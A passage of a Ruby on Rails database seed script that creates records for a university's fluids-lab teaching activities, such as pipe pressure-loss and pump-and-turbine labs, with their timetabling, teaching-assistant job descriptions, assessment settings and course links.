nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a143.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a143.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a144 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"419\").first_or_create!(name: \"Major and Minor Losses\",\n name_abrv: \"MAJORMINOR\", archived: false, in_drive: true, user_id: 5)\n at144 = ActivityTimetable.where(activity_id: a144.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a144.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/z4kbm44\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a144.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a144.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a144.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a144.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a145 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: true, user_id: 1)\n at145 = ActivityTimetable.where(activity_id: a145.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a145.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/npbx2ko\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a145.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a145.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a145.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a145.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a146 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"413\").first_or_create!(name: \"First Law Pumps and Turbines\",\n name_abrv: \"1STLAWPUMP\", archived: false, in_drive: false, user_id: 3)\n at146 = ActivityTimetable.where(activity_id: a146.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a146.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ydd9x9tm\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a146.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a146.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a146.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a146.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a147 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode3\").first_or_create!(name: \"Measurement Lab\",\n name_abrv: \"MEASUREMENT\", archived: false, in_drive: true, user_id: 3)\n at147 = ActivityTimetable.where(activity_id: a147.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a147.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/pnm2bq4\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a147.id).first_or_create!(criteria: \"Basic understanding of hydrodynamics, flow measurement techniques and error/uncertainty\",\n job_desc:\"An introductory lab for first year undergraduate students. Helping students to use the hydraulic benches for the first time and to understand the concepts of error and uncertainty.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a147.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a147.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n\n\n a148 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"DATAPLUS\", archived: false, in_drive: false, user_id: 3)\n at148 = ActivityTimetable.where(activity_id: a148.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a148.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya8awfxx\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a148.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a148.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a148.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a148.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a149 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 1)\n at149 = ActivityTimetable.where(activity_id: a149.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a149.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/nojav7n\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a149.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a149.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a149.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a149.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a150 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: false, user_id: 3)\n at150 = ActivityTimetable.where(activity_id: a150.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a150.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxswpben\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a150.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a150.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a150.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a150.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a151 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 3)\n at151 = ActivityTimetable.where(activity_id: a151.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a151.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ovyq7rl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a151.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a151.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a151.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a151.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a152 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"416\").first_or_create!(name: \"Minor Losses\",\n name_abrv: \"MINORLOSS\", archived: false, in_drive: true, user_id: 5)\n at152 = ActivityTimetable.where(activity_id: a152.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a152.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybo5vgmz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a152.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and frictional losses in pipe fittings.\",\n job_desc:\"The hydraulic bench supplied water to a range of pipe fittings. The flow rate can be altered and measured, and water manometers record the head loss. The results are used to calculate the loss coefficients for the fittings.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a152.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a152.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a152.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a153 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"417\").first_or_create!(name: \"Network of Pipes\",\n name_abrv: \"NETPIPES\", archived: false, in_drive: false, user_id: 2)\n at153 = ActivityTimetable.where(activity_id: a153.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 240, takedown_time: 120, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a153.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yby2as9u\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a153.id).first_or_create!(criteria: \"Undertanding frictional losses in piping networks and hardy cross method for civil engineering students\",\n job_desc:\"Students are supplied with a network of pipes, in which the network layout and diameters of pipes can be altered. The flow through two outlet ports and pressure drop across all pipes can be recorded, and compared to the hardy cross method to predict the results.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a153.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a153.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a153.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a154 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"418\").first_or_create!(name: \"Open Channel Self Teach Lab\",\n name_abrv: \"FLUME\", archived: false, in_drive: true, user_id: 3)\n at154 = ActivityTimetable.where(activity_id: a154.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a154.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/oby5tq9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a154.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a154.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a154.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a154.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a156 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: false, user_id: 5)\n at156 = ActivityTimetable.where(activity_id: a156.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 11, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a156.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85r57gr\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a156.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a156.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a156.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a156.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a157 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 4)\n at157 = ActivityTimetable.where(activity_id: a157.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a157.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ycc92c93\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a157.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a157.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a157.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a157.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a158 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 5)\n at158 = ActivityTimetable.where(activity_id: a158.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a158.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya868p4e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a158.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a158.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a158.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a158.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a159 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 1)\n at159 = ActivityTimetable.where(activity_id: a159.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a159.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya7weqcq\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a159.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a159.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a159.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a159.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a160 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 3)\n at160 = ActivityTimetable.where(activity_id: a160.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a160.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y85b9e39\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a160.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a160.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a160.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a160.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a161 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"419\").first_or_create!(name: \"Pressure Loss in Pipes\",\n name_abrv: \"PIPELOSS\", archived: false, in_drive: true, user_id: 2)\n at161 = ActivityTimetable.where(activity_id: a161.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a161.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/gubsfc3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a161.id).first_or_create!(criteria: \"Understanding of basic hydrodynamics and Moody diagram theory.\",\n job_desc:\"The speed of water is varied though a variety of pipe diameters and roughness. The pressure loss is also measured, allowing the moody diagram to be recreated and compared to one previously produced.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a161.id).first_or_create!(assess_weight: nil, notes: \"I don't know who runs this module - it is an odd one for arch eng students\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a161.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a161.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a162 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2300\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 2)\n at162 = ActivityTimetable.where(activity_id: a162.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a162.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8mlxuvb\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a162.id).first_or_create!(criteria: \"Understanding of thermodynamics of fluidic/mechanical power conversion\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical. Marking is done after the lab. Students submit a short (2 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a162.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a162.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a162.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a163 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"420\").first_or_create!(name: \"Pumps and Turbines\",\n name_abrv: \"PUMPSTURB\", archived: false, in_drive: true, user_id: 3)\n at163 = ActivityTimetable.where(activity_id: a163.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, 